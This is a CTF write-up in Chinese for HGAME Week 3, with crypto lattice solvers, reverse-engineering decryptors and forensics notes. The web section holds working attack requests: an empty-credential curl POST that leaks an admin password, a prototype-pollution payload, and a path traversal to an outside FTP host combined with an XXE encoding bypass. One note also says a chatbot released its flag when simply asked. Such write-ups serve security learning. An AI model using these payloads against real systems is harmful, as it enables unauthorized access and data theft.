HGAME Week3 WriteUP

Written by woshiluo.

Crypto

matrix_equation

考虑构造格对应格求最短向量，即可得到一组合法的 p, q, r。

```
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.

"""

"""
from Crypto.Util.number import *
import hashlib
f rom sage.all import *

k1=73715329877215340145951238343247156282165705396074786483256699817651255709671
k2=61361970662269869738270328523897765408443907198313632410068454223717824276837
M = matrix(ZZ, [[2**256,0,0],[k1,1,0],[k2,0,1]])
# L = M.LLL()
# # or
# L = M.BKZ(block_size=2)
# shortestV = L[0]
# print(shortestV)
L1 = [  5851117074945081723062478,  -9396324357950573888994599,
 ↪  -15154059265021257630097517]
# L2 = [ 65301243525031258000907285,  33281308486653930151733737,
 ↪  -4066293048823621784993250]
# L3 = [ 45515665156713370235083473, -46397424257679676851556254,
 ↪  57263293525378453480844839]

t = L1[0]
q = L1[1]
r = L1[2]
p = ( L1[0] - ( q * k1 + r * k2 ) ) // 2**256
flag='hgame{'+hashlib.sha256(str(p+q+r).encode()).hexdigest()+'}'
print(flag)
```

exRSA

裸的三维 winner's attack，对着 ctfwiki 抄格就行。

```
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.
```

```
"""

"""
from Crypto.Util.number import *
from gmpy2 import invert
from sage.all import *
from decimal import Decimal

e1=507704823781196942747311122537087612252896744705655189912361346179268800289678839430419291761056414
e2=125268482983490053905202769239291324634591525749986257572082592978911151336541176482157829453325290
e3=129859407575785308105193703320636583440466888566059674749410144368727203604440404646447909809769913
c=14141760601523018421104970980245971892462591720193354149001274520982339430418259260285174370753162949
N=17853303733838066173110417890593704464146824886316456780873352559969742615755294466664439529352718434

alpha = 3/8
N_2_3 = 2**1366
N_3_2 = 2**3072
N_a = 2**768
N_sqrt = 2**1024

print(N_a)

mat = matrix(ZZ,
             [[ 1, -N,   0,     N*N,    0,         0,         0,        -N**3 ],
              [ 0, e1, -e1, -N * e1,  -e1,         0,    N * e1,    N * N * e1 ],
              [ 0,  0,  e2, -N * e2,    0,    N * e2,         0,    N * N * e2 ],
              [ 0,  0,   0, e1 * e2,    0, -e1 * e2, -e1 * e2, -N * e1 * e2 ],
              [ 0,  0,   0,       0,   e3, - N * e3,   -N * e3,    N * N * e3 ],
              [ 0,  0,   0,       0,    0,  e1 * e3,         0, -N * e1 * e3 ],
              [ 0,  0,   0,       0,    0,         0,  e2 * e3, -N * e2 * e3 ],
              [ 0,  0,   0,       0,    0,         0,         0, e1 * e2 * e3 ]])


D = diagonal_matrix(ZZ,[N_3_2, N, N_a * N_3_2, N_sqrt, N_a * N_3_2, N_a * N, N_a * N, 1 ])

Ls = (mat*D).LLL()

for L in Ls:
    x=L*((mat*D)**-1)
    phi=int(x[1]/x[0]*e1)
    d=invert(0x10001, phi)
    m=pow(c,d,N)
    print(long_to_bytes(m))
```

HNP

感觉是一个比较标准的题目。

将同余式写开，枚举 b_i - b_0，可以得到 n 个等式。

再加一个等式确保在 SVP 内即可。

```
# sage
from Crypto.Util.number import *
from sage.all import *
```

```
# import gmpy2

p=ZZ(1130629924177495005326954710328463741440783512577724520406936756769102192886477320754873105159285353
t=[ ... ]
res=[2150646508, 1512876052, 2420557546, 2504482055, 892924885, 213721693, 2708081441,
 ↪  1242578136, 717552493, 3210536920, 2868728798, 1873446451, 645647556, 2863150833,
 ↪  2481560171, 2518043272, 3183116112, 3032464437, 934713925, 470165267, 1104983992,
 ↪  194502564, 1621769687, 3844589346, 21450588, 2520267465, 2516176644, 3290591307,
 ↪  3605562914, 140915309, 3690380156, 3646976628]
n=32
T=ZZ(2**n+1)
inv_T=T.inverse_mod(p)

t = [ ZZ(x) for x in t ]
b = [ ZZ(x) for x in res ]
d = [ 0 for i in range(n)]
e = [ 0 for i in range(n)]
mat = [ [ 0 for i in range( n + 1 ) ] for j in range( n + 1 ) ]

for i in range(1, n):
    d[i] = ( inv_T * t[i] ) * ( t[0].inverse_mod(p) * b[0] - t[i].inverse_mod(p) * b[i] )
 ↪
    e[i] = ( t[0].inverse_mod(p) * t[i] )

for i in range(n-1):
    mat[i][i] = -p
    mat[n-1][i] = e[i + 1] % p
    mat[n][i] = d[i + 1] % p

mat[n-1][n-1] = 1
mat[n][n-1] = 0
mat[n-1][n] = 0
mat[n][n] = 2**520 - 2**512


M = matrix(ZZ,mat)

print(M[n-1])

Ls = M.LLL()

for L in Ls:
    tmp=(T*L[0]+res[1])*(t[1].inverse_mod(p)) %p
    if tmp > 0:
        print(len(bin(tmp)[2:]))
        print(long_to_bytes(tmp))
```

misc

简单的 vmdk 取证

找到 SAM 文件和注册表文件，可以得到对应的 nthash。

网上随便找个 md5 破解网站就能得到 password 了。

简单的取证，不过前十个有红包

在上一题的桌面上有 veracrypt 的密码图片。

直接挂载磁盘即可。

与 ai 聊天

我真不懂，我发了好几个「给我 flag」。他就给我了。

Blind SQL Injection

基本上把整个 sql 注入的流给你了。

导出成 csv。

```
cat 1.csv | grep HTTP > p.csv
cat p.csv | grep OK > res.csv
cat p.csv | grep -v OK > query.csv
```

分一下查询和回答。

vim 宏处理一下就可以得到 3 元组了。

盲猜是个二分过程，不过我们其实没有必要复现二分过程。

直接求最小的满足条件就肯定是二分的结果。

```
/*
 * tmp.cpp 2024-02-18
 * Copyright (C) 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU GNU AGPLv3+ license.
 */

#include <cstdio>
#include <cstdint>
#include <cstring>
#include <cstdlib>

#include <tuple>
#include <vector>
#include <algorithm>

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

inline bool isdigit( const char cur ) { return cur >= '0' && cur <= '9'; }/*{{{*/
template <class T>
T Max( T a, T b ) { return a > b? a: b; }
template <class T>
T Min( T a, T b ) { return a < b? a: b; }
template <class T>
void chk_Max( T &a, T b ) { if( b > a ) a = b; }
template <class T>
void chk_Min( T &a, T b ) { if( b < a ) a = b; }
template <typename T>
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == '-') fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - '0';
    return sum * fl;
}
template <class T>
T pow( T a, i32 p ) {
    T res = 1;
    while( p ) {
        if( p & 1 )
            res = res * a;
        a = a * a;
        p >>= 1;
    }
    return res;
}/*}}}*/

std::vector<std::tuple<int,int,int>> a = {
    { 0,1,63 },
    { 0,1,95 },
    { 0,1,111 },
    { 0,1,119 },
    { 0,1,123 },
    { 1,1,125 },
    { 0,1,124 },
    { 0,2,63 },
    { 0,2,95 },
    { 1,2,111 },
    { 1,2,103 },
    { 0,2,99 },
    { 0,2,101 },
    { 1,2,102 },
    { 1,3,63 },
    { 0,3,31 },
    { 0,3,47 },
    { 1,3,55 },
    { 1,3,51 },
    { 0,3,49 },
    { 1,3,50 },
    { 0,4,63 },
    { 0,4,95 },
    { 1,4,111 },
{ 1,4,103 },
{ 0,4,99 },
{ 0,4,101 },
{ 1,4,102 },
{ 0,5,63 },
{ 0,5,95 },
{ 1,5,111 },
{ 1,5,103 },
{ 1,5,99 },
{ 1,5,97 },
{ 0,5,96 },
{ 1,6,63 },
{ 0,6,31 },
{ 0,6,47 },
{ 0,6,55 },
{ 1,6,59 },
{ 1,6,57 },
{ 1,6,56 },
{ 1,7,63 },
{ 0,7,31 },
{ 0,7,47 },
{ 1,7,55 },
{ 1,7,51 },
{ 0,7,49 },
{ 1,7,50 },
{ 1,8,63 },
{ 0,8,31 },
{ 0,8,47 },
{ 0,8,55 },
{ 1,8,59 },
{ 1,8,57 },
{ 0,8,56 },
{ 1,9,63 },
{ 0,9,31 },
{ 0,9,47 },
{ 1,9,55 },
{ 0,9,51 },
{ 1,9,53 },
{ 0,9,52 },
{ 0,10,63 },
{ 0,10,95 },
{ 1,10,111 },
{ 1,10,103 },
{ 1,10,99 },
{ 0,10,97 },
{ 0,10,98 },
{ 1,11,63 },
{ 0,11,31 },
{ 0,11,47 },
{ 0,11,55 },
{ 1,11,59 },
{ 1,11,57 },
{ 1,11,56 },
{ 1,12,63 },
{ 0,12,31 },
{ 0,12,47 },
{ 1,12,55 },
{ 1,12,51 },
{ 0,12,49 },
{ 0,12,50 },
{ 0,13,63 },
{ 0,13,95 },
{ 1,13,111 },
{ 1,13,103 },
{ 0,13,99 },
{ 1,13,101 },
{ 1,13,100 },
{ 1,14,63 },
{ 0,14,31 },
{ 1,14,47 },
{ 0,14,39 },
{ 0,14,43 },
{ 1,14,45 },
{ 0,14,44 },
{ 1,15,63 },
{ 0,15,31 },
{ 0,15,47 },
{ 1,15,55 },
{ 0,15,51 },
{ 0,15,53 },
{ 1,15,54 },
{ 0,16,63 },
{ 0,16,95 },
{ 1,16,111 },
{ 1,16,103 },
{ 1,16,99 },
{ 0,16,97 },
{ 0,16,98 },
{ 0,17,63 },
{ 0,17,95 },
{ 1,17,111 },
{ 1,17,103 },
{ 1,17,99 },
{ 1,17,97 },
{ 0,17,96 },
{ 0,18,63 },
{ 0,18,95 },
{ 1,18,111 },
{ 1,18,103 },
{ 1,18,99 },
{ 0,18,97 },
{ 1,18,98 },
{ 1,19,63 },
{ 0,19,31 },
{ 1,19,47 },
{ 0,19,39 },
{ 0,19,43 },
{ 1,19,45 },
{ 0,19,44 },
{ 1,20,63 },
{ 0,20,31 },
{ 0,20,47 },
{ 0,20,55 },
{ 1,20,59 },
{ 1,20,57 },
{ 1,20,56 },
{ 1,21,63 },
{ 0,21,31 },
{ 0,21,47 },
{ 0,21,55 },
{ 1,21,59 },
{ 1,21,57 },
{ 0,21,56 },
{ 0,22,63 },
{ 0,22,95 },
{ 1,22,111 },
{ 1,22,103 },
{ 0,22,99 },
{ 1,22,101 },
{ 0,22,100 },
{ 1,23,63 },
{ 0,23,31 },
{ 0,23,47 },
{ 1,23,55 },
{ 0,23,51 },
{ 1,23,53 },
{ 1,23,52 },
{ 1,24,63 },
{ 0,24,31 },
{ 1,24,47 },
{ 0,24,39 },
{ 0,24,43 },
{ 1,24,45 },
{ 0,24,44 },
{ 1,25,63 },
{ 0,25,31 },
{ 0,25,47 },
{ 1,25,55 },
{ 0,25,51 },
{ 1,25,53 },
{ 0,25,52 },
{ 1,26,63 },
{ 0,26,31 },
{ 0,26,47 },
{ 1,26,55 },
{ 1,26,51 },
{ 0,26,49 },
{ 1,26,50 },
{ 1,27,63 },
{ 0,27,31 },
{ 0,27,47 },
{ 1,27,55 },
{ 0,27,51 },
{ 0,27,53 },
{ 0,27,54 },
{ 1,28,63 },
{ 0,28,31 },
{ 0,28,47 },
{ 1,28,55 },
{ 1,28,51 },
{ 1,28,49 },
{ 0,28,48 },
{ 1,29,63 },
{ 0,29,31 },
{ 1,29,47 },
{ 0,29,39 },
{ 0,29,43 },
{ 1,29,45 },
{ 0,29,44 },
{ 1,30,63 },
{ 0,30,31 },
{ 0,30,47 },
{ 1,30,55 },
{ 0,30,51 },
{ 0,30,53 },
{ 0,30,54 },
{ 0,31,63 },
{ 0,31,95 },
{ 1,31,111 },
{ 1,31,103 },
{ 0,31,99 },
{ 1,31,101 },
{ 0,31,100 },
{ 0,32,63 },
{ 0,32,95 },
{ 1,32,111 },
{ 1,32,103 },
{ 0,32,99 },
{ 0,32,101 },
{ 1,32,102 },
{ 0,33,63 },
{ 0,33,95 },
{ 1,33,111 },
{ 1,33,103 },
{ 1,33,99 },
{ 1,33,97 },
{ 0,33,96 },
{ 0,34,63 },
{ 0,34,95 },
{ 1,34,111 },
{ 1,34,103 },
{ 1,34,99 },
{ 0,34,97 },
{ 1,34,98 },
{ 0,35,63 },
{ 0,35,95 },
{ 1,35,111 },
{ 1,35,103 },
{ 1,35,99 },
{ 1,35,97 },
{ 0,35,96 },
{ 0,36,63 },
{ 0,36,95 },
{ 1,36,111 },
{ 1,36,103 },
{ 1,36,99 },
{ 0,36,97 },
{ 1,36,98 },
{ 0,37,63 },
{ 0,37,95 },
{ 1,37,111 },
{ 1,37,103 },
{ 1,37,99 },
{ 0,37,97 },
{ 0,37,98 },
{ 0,38,63 },
{ 0,38,95 },
{ 0,38,111 },
{ 0,38,119 },
{ 1,38,123 },
{ 0,38,121 },
{ 0,38,122 },
{ 0,39,63 },
{ 0,39,95 },
{ 1,39,111 },
{ 1,39,103 },
{ 0,39,99 },
{ 0,39,101 },
{ 0,39,102 },
{ 0,40,63 },
{ 0,40,95 },
{ 1,40,111 },
{ 1,40,103 },
{ 1,40,99 },
{ 1,40,97 },
{ 0,40,96 },
{ 0,41,63 },
{ 0,41,95 },
{ 1,41,111 },
{ 0,41,103 },
{ 0,41,107 },
{ 1,41,109 },
{ 1,41,108 },
{ 0,42,63 },
{ 0,42,95 },
{ 1,42,111 },
{ 1,42,103 },
{ 0,42,99 },
{ 0,42,101 },
{ 1,42,102 },
    { 1,43,63 },
    { 0,43,31 },
    { 1,43,47 },
    { 0,43,39 },
    { 0,43,43 },
    { 1,43,45 },
    { 1,43,44 },
    { 0,44,63 },
    { 0,44,95 },
};

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif
    for( int i = 1; i <= 44; i ++ ) {
        int out = 0;
        for( int j = 0; j < 256; j ++ ) {
//          if( i == 1 && ( j == '}' ) )
//              continue;
            bool flag = true;
            for( auto [ res, x, val ]: a ) {
                if( i == x && ( j > val ) == res ) {
                    flag = false;
                    break;
                }
            }
            if( flag ) {
                out = 1;
                printf( "%c", j );
                break;
            }
        }
        if( !out ) {
            printf( "\n%d\n", i );
        }
    }
}
```

Reverse

findme

发现在程序里藏了个程序，而且四位一空。

`dd if=./findme.exe of=./raw bs=1 skip=9280`

dd 后扔写个 fread patch 一下得到新程序。

加了花，但是是固定的五个字节，直接替换成 90。

分析一下，基本上是魔改的 rc4。

```
/*
 * tmp.cpp 2024-02-09
 * Copyright (C) 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU GNU AGPLv3+ license.
 */

#include <cstdio>
#include <cstdint>
#include <cstring>
#include <cstdlib>

#include <vector>
#include <algorithm>

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

inline bool isdigit( const char cur ) { return cur >= '0' && cur <= '9'; }/*{{{*/
template <class T>
T Max( T a, T b ) { return a > b? a: b; }
template <class T>
T Min( T a, T b ) { return a < b? a: b; }
template <class T>
void chk_Max( T &a, T b ) { if( b > a ) a = b; }
template <class T>
void chk_Min( T &a, T b ) { if( b < a ) a = b; }
template <typename T>
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == '-') fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - '0';
    return sum * fl;
}
template <class T>
T pow( T a, i32 p ) {
    T res = 1;
    while( p ) {
        if( p & 1 )
            res = res * a;
        a = a * a;
        p >>= 1;
    }
    return res;
}/*}}}*/

const char key[] = "deadbeef";
uint8_t enc[] =
{ 0x7D, 0x2B, 0x43, 0xA9, 0xB9, 0x6B, 0x93, 0x2D, 0x9A, 0xD0, 0x48, 0xC8, 0xEB, 0x51,
 ↪  0x59, 0xE9, 0x74, 0x68, 0x8A, 0x45, 0x6B, 0xBA, 0xA7, 0x16, 0xF1, 0x10, 0x74, 0xD5,
 ↪  0x41, 0x3C, 0x67, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
// who fucking know about this?
uint8_t box[256];

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif

    for( int i = 0; i < 256; i ++ ) {
        box[i] = -i;
    }
    i32 p = 0;
    for( int i = 0; i < 256; i ++ ) {
        p = ( p + box[i] + key[ i % 8 ] ) & 255;
        std::swap( box[i], box[p] );
    }
    int p1 = 0, p2 = 0;
    for( int i = 0; i < sizeof(enc); i ++ ) {
        p1 += 1;
        p2 = ( p2 + box[p1] ) & 255;
        std::swap( box[p1], box[p2] );
        enc[i] -= ( box[ -( box[p1] + box[p2] ) & 255 ] );
    }
    for( int i = 0; i < sizeof(enc); i ++ )
        printf( "%c", enc[i] );

}
```

mystery

发现主要执行内容都是被 libc 调用的。

可以发现其实只对输入内容做了一次加密。但是对 key 好像做了不少操作。

直接在对应位置断点，gdb 拿到处理后的 key。

逆加密即可。

```
/*
 * tmp.cpp 2024-02-20
 * Copyright (C) 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU GNU AGPLv3+ license.
 */
```

```
#include <cstdio>
#include <cstdint>
#include <cstring>
#include <cstdlib>

#include <vector>
#include <algorithm>

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

inline bool isdigit( const char cur ) { return cur >= '0' && cur <= '9'; }/*{{{*/
template <class T>
T Max( T a, T b ) { return a > b? a: b; }
template <class T>
T Min( T a, T b ) { return a < b? a: b; }
template <class T>
void chk_Max( T &a, T b ) { if( b > a ) a = b; }
template <class T>
void chk_Min( T &a, T b ) { if( b < a ) a = b; }
template <typename T>
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == '-') fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - '0';
    return sum * fl;
}
template <class T>
T pow( T a, i32 p ) {
    T res = 1;
    while( p ) {
        if( p & 1 )
            res = res * a;
        a = a * a;
        p >>= 1;
    }
    return res;
}/*}}}*/
```

```
uint8_t key[] = {0x7, 0x77, 0xd3, 0x1c, 0x30, 0xeb, 0xda, 0x44, 0x34, 0xca, 0x3d, 0x9a,
↪  0x5, 0x99, 0xc8, 0xc1, 0x53, 0x1e, 0xa9, 0xf8, 0x75, 0x27, 0x83, 0xa8, 0x28, 0x5b,
↪  0x76, 0xb8, 0x88, 0x1f, 0x94, 0xa, 0x2d, 0xe1, 0x74, 0xd2, 0xf, 0xaa, 0xb9, 0xe, 0x1,
↪  0x3a, 0xab, 0x58, 0xd9, 0xdb, 0x43, 0xbc, 0x64, 0x1a, 0x11, 0xd, 0x4d, 0xef, 0x65,
↪  0x7d, 0x72, 0xcd, 0xa7, 0x4c, 0xf1, 0x2e, 0xcb, 0xa6, 0x87, 0x80, 0xac, 0x37, 0xc,
↪  0x50, 0x47, 0xc9, 0xd8, 0xbf, 0x19, 0x2a, 0xf6, 0x82, 0xff, 0x1b, 0x66, 0x39, 0x22,
↪  0x36, 0xf9, 0xee, 0x23, 0x56, 0x6d, 0xb, 0xfa, 0x3b, 0xcf, 0xd7, 0x9f, 0x33, 0xe5,
↪  0x85, 0xde, 0xc0, 0xe6, 0x8e, 0x78, 0x3, 0xcc, 0xa0, 0x9d, 0x6, 0x9b, 0x45, 0x96,
↪  0xe9, 0xb3, 0x8c, 0xdc, 0x95, 0x2, 0x14, 0x90, 0x61, 0xaf, 0x42, 0x2f, 0x3e, 0x81,
↪  0x8b, 0xd4, 0xc6, 0x51, 0x17, 0x4, 0x4f, 0xe4, 0xfe, 0xc4, 0x5f, 0x52, 0x7f, 0xa3,
↪  0xb6, 0x6f, 0x24, 0xea, 0x3f, 0x0, 0xf7, 0xad, 0x2b, 0x29, 0xfb, 0xae, 0x79, 0xc2,
↪  0x7a, 0x4b, 0x31, 0x71, 0x9, 0x69, 0xe2, 0x8, 0xf5, 0xe7, 0x35, 0x5c, 0xd6, 0x6c,
↪  0xe8, 0x4e, 0xc3, 0x7c, 0xdd, 0xec, 0x15, 0xb5, 0x6e, 0xc7, 0xd5, 0xb0, 0x2c, 0x68,
↪  0x5e, 0x59, 0x84, 0x5a, 0x40, 0x1d, 0xa1, 0xa5, 0x5d, 0x91, 0xe3, 0x49, 0x6a, 0xfc,
↪  0xed, 0x57, 0x54, 0x92, 0x10, 0x67, 0xfd, 0x8a, 0x70, 0x98, 0x46, 0xc5, 0x12, 0x41,
↪  0x8f, 0xe0, 0x13, 0xa2, 0x62, 0xd0, 0xa4, 0x18, 0xb7, 0x73, 0xf0, 0xce, 0x7e, 0x20,
↪  0xf3, 0xbd, 0x9c, 0xdf, 0x86, 0xf4, 0x97, 0xb2, 0x55, 0xf2, 0x63, 0x89, 0xbb, 0x25,
↪  0x7b, 0xbe, 0x38, 0x9e, 0x8d, 0xb4, 0x48, 0x4a, 0x16, 0x93, 0xba, 0x60, 0x3c, 0xb1,
↪  0xd1, 0x21, 0x6b, 0x32, 0x26};

unsigned char enc[] =
{
      0x50, 0x42, 0x38, 0x4D, 0x4C, 0x54, 0x90, 0x6F, 0xFE, 0x6F,
        0xBC, 0x69, 0xB9, 0x22, 0x7C, 0x16, 0x8F, 0x44, 0x38, 0x4A,
          0xEF, 0x37, 0x43, 0xC0, 0xA2, 0xB6, 0x34, 0x2C, 0x00
};

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif

    uint8_t sum = 0;
    for( int i = 0; i < sizeof(enc); i ++ ) {
        uint8_t p = key[ i + 1 ];
        sum += p;
        uint8_t q = key[sum];
        uint8_t res = key[ (uint8_t)(p + q) ];
        std::swap( key[ i + 1 ], key[sum] );
        enc[i] += res;
        printf( "%c", enc[i] );
    }

}
```

encrypt

基本上就是普通的 windows api 调用，找到 iv 和 enc 后直接扔给 cyberchef 就行，甚至不需要自己写代码。

crackme

打开一看明显缺少东西和明显的异常处理。

看起来异常是无条件触发的，直接 jmp 到一起就能看出是个魔改的 xtea。

```
/*
 * tmp.cpp 2024-02-20
 * de
 * Copyright (C) 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU GNU AGPLv3+ license.
 */

#include <cstdio>
#include <cstdint>
#include <cstring>
#include <cstdlib>

#include <vector>
#include <algorithm>

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

inline bool isdigit( const char cur ) { return cur >= '0' && cur <= '9'; }/*{{{*/
template <class T>
T Max( T a, T b ) { return a > b? a: b; }
template <class T>
T Min( T a, T b ) { return a < b? a: b; }
template <class T>
void chk_Max( T &a, T b ) { if( b > a ) a = b; }
template <class T>
void chk_Min( T &a, T b ) { if( b < a ) a = b; }
template <typename T>
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == '-') fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - '0';
    return sum * fl;
}
template <class T>
T pow( T a, i32 p ) {
    T res = 1;
    while( p ) {
        if( p & 1 )
            res = res * a;
        a = a * a;
        p >>= 1;
    }
    return res;
}/*}}}*/

int32_t res[10];

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x33221155, sum=0;
    for (i=0; i < num_rounds; i++) {
        sum ^= delta;
        v1 -= (((v0 << 5) ^ (v0 >> 6)) + v0) ^ (sum + key[(sum>>11) & 3]);
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}


int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif

    res[0] = 855388650;
    res[1] = -262770878;
    res[2] = -117067598;
    res[3] = 1598378430;
    res[4] = -79758149;
    res[5] = 1802165040;
    res[6] = 75733113;
    res[7] = 792951007;

    uint32_t key[] = { 1234, 2345, 3456, 4567 };
    decipher( 32, (uint32_t*)(res) + 6, key );
    decipher( 32, (uint32_t*)(res) + 4, key );
    decipher( 32, (uint32_t*)(res) + 2, key );
    decipher( 32, (uint32_t*)(res), key );

    char *p = (char*)res;
    for( int i = 0; i < 32; i ++ )
        printf( "%c", p[i] );

}
```

Web

Zero Link

写过 gorm 的应该都踩过坑，你在 query 的时候加一个空字符串进去的结果往往是他会行忽略掉他。

尽管页面限制了 token 和 username 不能同时为空，但是后端没限制。

直接请求两个空串上去即可拿到 admin 密码。

```
curl 'http://139.196.183.57:30907/api/user' -X POST -H 'User-Agent: Mozilla/5.0 (X11;
↪  Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0' -H 'Accept: */*' -H
↪  'Accept-Language: en,zh;q=0.7,ja;q=0.3' -H 'Accept-Encoding: gzip, deflate' -H
↪  'Referer: http://139.196.183.57:32185/' -H 'Content-Type: application/json' -H
↪  'Origin: http://139.196.183.57:32185' -H 'DNT: 1' -H 'Connection: keep-alive' -H
↪  'Cookie:
↪  my-webvpn-session-id-c0a4f3f6-0db2-4058-9ef4-5991f2b5d542=s%3AmokfX7bSPGYbSFhPrCRKO6P6HLWiHW-J.R4dy
↪  my-webvpn-session-id-1b4c7d0e-8205-472e-9b45-ce9bbfe935ce=s%3AwvRyG9uifKGUKrR1J6HZhCZxSpcLcpCZ.xkIr
↪  my-webvpn-session-id-47421071-1c83-4592-be94-84d0cd00b963=s%3ABADoSlG_VRQrCwzLJU-sCTm2evNeJ0he.HR5f
↪  --data-raw '{"username":"","token": ""}'
```

有了权限之后我们就能够访问 backdoor 了。

构建一个 zip 软链接到 /app，然后覆写 /app/srcert 即可。

WebVPN

注意到代码里深拷贝 ban 了直接访问原型链。

但是显然原型链的访问方式不止一种，直接污染即可。

```
curl 'http://139.196.183.57:30154/user/info' -H 'User-Agent: Mozilla/5.0 (X11; Linux
↪  x86_64; rv:122.0) Gecko/20100101 Firefox/122.0' -H 'Accept:
↪  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8'
↪  -H 'Accept-Language: en,zh;q=0.7,ja;q=0.3' -H 'Accept-Encoding: gzip, deflate' -H
↪  'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: http://139.196.183.57:30154/home'
↪  -H 'Cookie:
↪  my-webvpn-session-id-c0a4f3f6-0db2-4058-9ef4-5991f2b5d542=s%3AmokfX7bSPGYbSFhPrCRKO6P6HLWiHW-J.R4dy
↪  my-webvpn-session-id-1b4c7d0e-8205-472e-9b45-ce9bbfe935ce=s%3AwvRyG9uifKGUKrR1J6HZhCZxSpcLcpCZ.xkIr
↪  my-webvpn-session-id-47421071-1c83-4592-be94-84d0cd00b963=s%3ABADoSlG_VRQrCwzLJU-sCTm2evNeJ0he.HR5f
↪  -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/json' --data
↪  '{"constructor": { "prototype": { "127.0.0.1": true } } }'
```

污染完就可以访问要求的页面了。

VidarBox

出 网。

源码上看起来似乎很完美，有 xml 但是好像 ban 了外部引用，有任意文件访问，但是没有回显，看起来也只能访问服务器上的。

但是不要慌，可以看看能穿越出啥。

```
curl -vv "http://139.196.183.57:31120/backdoor?fname=../../..//ip:port/2"
```

发现报错不是 not found，而是 connection refused，而且 stack 里面有很多 ftp 相关的组件。

尝试在对应服务器上搭建 ftp，发现可以访问到 ftp 上的文件。

下一个问题是外部实体的禁止。我们可以混合编码，header 用 utf8，内容用 utf16。于是 Java 的文本匹配就失效了。

接下来就是普通的 xml 漏洞了。